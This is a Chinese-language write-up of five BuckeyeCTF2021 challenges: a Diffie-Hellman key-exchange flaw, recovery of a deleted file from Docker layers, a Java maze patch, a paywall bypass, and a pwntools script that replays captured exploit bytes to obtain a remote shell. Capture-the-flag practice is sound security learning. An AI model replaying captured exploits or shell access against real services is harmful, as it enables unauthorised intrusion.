BuckeyeCTF2021 Writeup

Key Exchange

Let's exchange the flag (securely):
nc crypto.chall.pwnoh.io 13374


分析给出的代码,发现当输入的B等于g的时候,A的值即为shared_secret,从而可以得到AES密钥,解密后即可得到flag.

使用nc连接服务器:

╭─ ~/CTF/BuckeyeCTF2021
╰─$ nc crypto.chall.pwnoh.io 13374
I'm going to send you the flag.
However, I noticed that an FBI agent has been eavesdropping on my messages,
so I'm going to send it to you in a way that ONLY YOU can decrypt the flag.

p = 10880518517873967643757501014080864657695946662967756945469976115601889926901188881654458659008874387964581741306546485865737476973040012870453076020399351
g = 5
A = 6446823763385202977767001480185601116794559100492085785295943164615816598597259338015414246293095497644717507604784350316218874347470456507125850300019180
Give me your public key B: 5
ciphertext = a54eef574e0764239040ee22ffe762c907e7390372bf7de1f8ea7db0fa8218490890d545e5694332c8de1154fdff4cfb830a304df635217155b453bd12beb4e8

代码

def decrypt():
    shared_secret = 6446823763385202977767001480185601116794559100492085785295943164615816598597259338015414246293095497644717507604784350316218874347470456507125850300019180
    key = hashlib.sha1(cun.long_to_bytes(shared_secret)).digest()[:16]
    cipher = AES.new(key, AES.MODE_ECB)
    message = 0xa54eef574e0764239040ee22ffe762c907e7390372bf7de1f8ea7db0fa8218490890d545e5694332c8de1154fdff4cfb830a304df635217155b453bd12beb4e8
    plaintext = cipher.decrypt(cun.long_to_bytes(message))
    print(plaintext)

decrypt()

flag:buckeye{DH_1s_s0_h3ck1ng_c00l_l1k3_wh0_w0uldv3_th0ught_0f_th1s?}

layers

Check out my brand new docker repo https://hub.docker.com/r/qxxxb/layers


查看镜像历史,发现曾经存在一个flag.png,但是被删除了

[root@VM-8-4-centos ~] docker history qxxxb/layers
IMAGE          CREATED       CREATED BY                                      SIZE      COMMENT
0c01a25ae5b7   5 days ago    /bin/sh -c echo "Sorry, the flag has been de…   36B
<missing>      5 days ago    /bin/sh -c rm flag.png                          0B
<missing>      5 days ago    /bin/sh -c #(nop) COPY multi:6b3bd56201fda03…   599kB
<missing>      8 weeks ago   /bin/sh -c #(nop)  CMD ["/bin/sh"]              0B
<missing>      8 weeks ago   /bin/sh -c #(nop) ADD file:aad4290d27580cc1a…   5.6MB

使用docker save将镜像保存成tar包并解压,然后再解压每一层文件夹中中的layer.tar找到flag.png

[root@VM-8-4-centos ~] docker save qxxxb/layers -o a.tar
[root@VM-8-4-centos ~]# tar xvf a.tar
0c01a25ae5b745b06c68c7b870b848f327227e06feca8f121c105d3cc423ebc9.json
7c029681dc775f74b57cccd272523fd31a20f89cc2db9b514981fcbfb467b5c8/
7c029681dc775f74b57cccd272523fd31a20f89cc2db9b514981fcbfb467b5c8/VERSION
7c029681dc775f74b57cccd272523fd31a20f89cc2db9b514981fcbfb467b5c8/json
7c029681dc775f74b57cccd272523fd31a20f89cc2db9b514981fcbfb467b5c8/layer.tar
8771987229b6efdf7a40855b92529d9287e96ead2f6668d84f6a07809818db52/
8771987229b6efdf7a40855b92529d9287e96ead2f6668d84f6a07809818db52/VERSION
8771987229b6efdf7a40855b92529d9287e96ead2f6668d84f6a07809818db52/json
8771987229b6efdf7a40855b92529d9287e96ead2f6668d84f6a07809818db52/layer.tar
c37364b4cf72fc0eb131ee6d62795ef9cf3641340dd0aa8da6849b4c9cd5c41f/
c37364b4cf72fc0eb131ee6d62795ef9cf3641340dd0aa8da6849b4c9cd5c41f/VERSION
c37364b4cf72fc0eb131ee6d62795ef9cf3641340dd0aa8da6849b4c9cd5c41f/json
c37364b4cf72fc0eb131ee6d62795ef9cf3641340dd0aa8da6849b4c9cd5c41f/layer.tar
c6dd22d66071385f6a0d7242a2f2a895073c8ab84871b56390a3449038a49727/
c6dd22d66071385f6a0d7242a2f2a895073c8ab84871b56390a3449038a49727/VERSION
c6dd22d66071385f6a0d7242a2f2a895073c8ab84871b56390a3449038a49727/json
c6dd22d66071385f6a0d7242a2f2a895073c8ab84871b56390a3449038a49727/layer.tar
manifest.json
repositories
[root@VM-8-4-centos ~]# tar xvf 7c029681dc775f74b57cccd272523fd31a20f89cc2db9b514981fcbfb467b5c8/layer.tar
Dockerfile
flag.png

flag

flag:buckeye{D0CK3R_H4S_L4Y3RS}

replay

Somebody pwned my app! Luckily I managed to capture the network traffic of their exploit. Oh by the way, the same app is also running on misc.chall.pwnoh.io on port 13371. Can you pwn it for me?


使用Wireshark分析replay.pcap文件,跟踪TCP流,发现似乎是发送了一些数据拿到Shell权限后,执行了一些命令.

对着“Data”右键,选择“导出分组字节流”,保存字节流数据至a.bin

image-20211027235735902

编写脚本,使用pwn连接服务器并发送数据,执行shell命令,找到flag.txt文件

╭─ ~/CTF/BuckeyeCTF2021
╰─$ python a.py
[+] Opening connection to misc.chall.pwnoh.io on port 13371: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
$ cat flag.txt
buckeye{g00d_th1ng_P1E_w4s_d1s4bl3d_0n_th3_b1n4ry}

代码:

from pwn import *
p = remote('misc.chall.pwnoh.io', 13371)
p.recvuntil(b'TODAY', drop=True)
p.recvline()
with open('a.bin','rb') as f:
    data  = f.read()
p.send(data)
p.interactive()
p.close()

flag:buckeye{g00d_th1ng_P1E_w4s_d1s4bl3d_0n_th3_b1n4ry}

Buttons

Anyone taken Software 1? Can you help me figure out what this weird Java program does?


javadecompilers反编译Buttons.jar得到源码.

观察到有一个printFlag函数,但是依赖于moveHistory,所以不能通过直接运行printFlag来得到flag.

分析调用printFlag函数的actionPerformed,发现:只有当前点击的方格是isLegalMove的时候,才会被加到moveHistory里;当前点击的方格是最后一个时就会打印出flag.

继续分析isLegalMove函数,发现该函数返回为True时必须满足grid[n][n2] == 0.

那么我们可以在初始化的时候,将所有满足grid[n][n2] == 0的方格设为🏁,然后依次点击显示为🏁的方格即可.

this.buttons[i][j] = new JButton("?");

if(this.grid[i][j] == 0){
  this.buttons[i][j].setText("\u2691");
}

使用javac命令将源代码编译为Java字节码文件并运行.

╭─ ~/CTF/BuckeyeCTF2021
╰─$ javac Buttons.java
注: Buttons.java使用了未经检查或不安全的操作。
注: 有关详细信息, 请使用 -Xlint:unchecked 重新编译。
╭─ ~/CTF/BuckeyeCTF2021
╰─$ java Buttons

Buttons!

代码

/*
 * Decompiled with CFR 0.150.
 */
import java.awt.Dimension;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.math.BigInteger;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import javax.swing.BoxLayout;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;

public final class Buttons
extends JFrame
implements ActionListener {
    private static final int[][] grid = new int[][]{
        {1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},
        {1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1},
        {1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1},
        {1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1},
        {1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1},
        {1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1},
        {1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1},
        {1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1},
        {1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1}, 
        {1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1},
        {1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1},
        {1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1},
        {1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1},
        {1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1},
        {1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1},
        {1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1},
        {1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1},
        {1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1},
        {1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1},
        {1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1},
        {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1}
    };
    private final int rows;
    private final int cols;
    private final JLabel movesLabel;
    private final JButton resetButton;
    private final JButton[][] buttons;
    private int posRow;
    private int posCol;
    private final int endRow;
    private final int endCol;
    private static final int MAX_MOVES = 139;
    private ArrayList<Integer> moveHistory;

    public static void main(String[] arrstring) throws Exception {
        new Buttons();
    }

    public Buttons() {
        super("Buttons!");
        this.resetValues();
        this.rows = grid.length;
        this.cols = grid[0].length;
        this.endRow = this.rows - 1;
        this.endCol = this.cols - 2;
        JPanel jPanel = new JPanel();
        jPanel.setLayout(new BoxLayout(jPanel, 3));
        JPanel jPanel2 = new JPanel(new GridLayout(this.rows, this.cols));
        JPanel jPanel3 = new JPanel();
        this.buttons = new JButton[this.rows][this.cols];
        for (int i = 0; i < this.rows; ++i) {
            for (int j = 0; j < this.cols; ++j) {
                this.buttons[i][j] = new JButton("?");

                  if(this.grid[i][j] == 0) {
                                  this.buttons[i][j].setText("\u2691");
                                }

                this.buttons[i][j].addActionListener(this);
                this.buttons[i][j].setActionCommand(Integer.toString(j + i * this.cols));
                jPanel2.add(this.buttons[i][j]);
            }
        }
        this.buttons[this.endRow][this.endCol].setText("\u2691");
        jPanel2.setPreferredSize(new Dimension(45 * this.rows, 45 * this.cols));
        this.movesLabel = new JLabel("Moves left: 20");
        jPanel3.add(this.movesLabel);
        this.resetButton = new JButton("Reset");
        this.resetButton.addActionListener(this);
        this.resetButton.setActionCommand("reset");
        jPanel3.add(this.resetButton);
        jPanel.add(jPanel2);
        jPanel.add(jPanel3);
        this.resetGUI();
        this.getContentPane().add(jPanel);
        this.pack();
        this.setDefaultCloseOperation(3);
        this.setVisible(true);
    }

    private void resetValues() {
        this.posRow = 0;
        this.posCol = 1;
        this.moveHistory = new ArrayList();
        this.moveHistory.add(this.posCol + this.posRow * this.cols);
    }

    private void updateMovesLeft() {
        this.movesLabel.setText("Moves left: " + Integer.toString(139 - this.moveHistory.size()));
    }

    private void resetGUI() {
        for (int i = 0; i < this.rows; ++i) {
            for (int j = 0; j < this.cols; ++j) {
                this.buttons[i][j].setEnabled(true);
            }
        }
        for (int j : this.moveHistory) {
            int n = j / this.cols;
            int n2 = j % this.cols;
            this.buttons[n][n2].setEnabled(false);
        }
        this.updateMovesLeft();
    }

    private void reset() {
        this.resetValues();
        this.resetGUI();
    }

    private boolean isLegalMove(int n, int n2) {
        if (139 - this.moveHistory.size() <= 0) {
            return false;
        }
        return grid[n][n2] == 0 && Math.abs(n - this.posRow) + Math.abs(n2 - this.posCol) == 1;
    }

    private void printFlag() {
        BigInteger bigInteger;
        BigInteger[] arrbigInteger = new BigInteger[this.moveHistory.size()];
        arrbigInteger[0] = BigInteger.valueOf(2L);
        for (int i = 1; i < arrbigInteger.length; ++i) {
            arrbigInteger[i] = arrbigInteger[i - 1].nextProbablePrime();
        }
        BigInteger bigInteger2 = BigInteger.valueOf(1L);
        BigInteger bigInteger3 = new BigInteger("1430313837704837266267655033918654049072573502772041995300810633148485540425442305963378206448908414865491202671058946396326575688430628383447817933039379");
        for (int i = 0; i < this.moveHistory.size(); ++i) {
            bigInteger = BigInteger.valueOf(this.moveHistory.get(i).intValue());
            bigInteger2 = bigInteger2.multiply(arrbigInteger[i].modPow(bigInteger, bigInteger3)).mod(bigInteger3);
        }
        BigInteger bigInteger4 = new BigInteger("1181624346478884506978387685027501257422054115549381320819711748725513305918055802813085700551988448885328987653245675378090761255233757606571908411691314");
        bigInteger = bigInteger4.multiply(bigInteger2).mod(bigInteger3);
        byte[] arrby = bigInteger.toByteArray();
        String string = new String(arrby, StandardCharsets.UTF_8);
        JOptionPane.showMessageDialog(this, "Congrats! The flag is: " + string, "Flag", 1);
        System.out.println(string);
    }

    @Override
    public void actionPerformed(ActionEvent actionEvent) {
        String string = actionEvent.getActionCommand();
        if (string.equals("reset")) {
            this.reset();
        } else {
            int n;
            int n2 = Integer.parseInt(string);
            int n3 = n2 / this.cols;
            if (this.isLegalMove(n3, n = n2 % this.cols)) {
                this.buttons[n3][n].setEnabled(false);
                this.posRow = n3;
                this.posCol = n;
                this.moveHistory.add(n2);
                System.out.println(this.moveHistory);
                this.updateMovesLeft();
                if (this.posRow == this.endRow && this.posCol == this.endCol) {
                    this.printFlag();
                }
            } else {
                JOptionPane.showMessageDialog(this, "Illegal move, you lose \u2639", "Illegal move", 0);
                this.reset();
            }
        }
    }
}

flag:buckeye{am4z1ng_j0b_y0u_b1g_j4va_h4ck3r}

pay2win

Kyle started an online magazine (The Daily Kyle) and published one of my articles on his site. Don't worry, the article literally contains the flag in plaintext, but if you want to read it you'll have to figure out how to bypass the paywall.

URL: https://pay2win.chall.pwnoh.io


查看网页源代码,发现plantFlag函数,粘贴到Console中运行后,打印出shwl_l1_twcd14}1ry4ht3neck_t3_bs{1c_hkh_tsh3he03gy_3l_hu.

const ciphertext = [
    234, 240, 234, 252, 214, 236, 140, 247, 173, 191, 158, 132, 56, 4, 32, 73, 235, 193, 233, 152,
    125, 19, 19, 237, 186, 131, 98, 52, 186, 143, 127, 43, 226, 233, 126, 15, 225, 171, 85, 55,
    173, 123, 21, 147, 97, 21, 237, 11, 254, 129, 2, 131, 101, 63, 149, 61,
];
const plaintext = ciphertext.map((x, i) => (i * i) % 256 ^ x ^ 0x99);

const flagElement = document.querySelector("#flag");
plaintext.map((x, i) => {
    const span = document.createElement("span");
    span.classList.add(`flag-char-${i}`);
    span.textContent = String.fromCharCode(x);
    flagElement.appendChild(span);
    return span;
});

查看main.css,发现span都被设置了order属性.

我们可以把main.css,main.js和网页源代码a.html下载到本地.然后注释掉main.js里弹窗和阻止滚动的代码.

打开a.html,发现本应该显示flag的地方有一个灰色的框.

编辑a.html,将 <code id="flag"></code>这一行代码移动至<pre>标签外面,即可看到flag.

pay2win

flag:buckeye{h0ly_sh1t_wh4t_th3_h3ck_1s_th1s_w31rd_ch4ll3ng3}

您的支持是我继续创作最大的动力!

欢迎关注我的其它发布渠道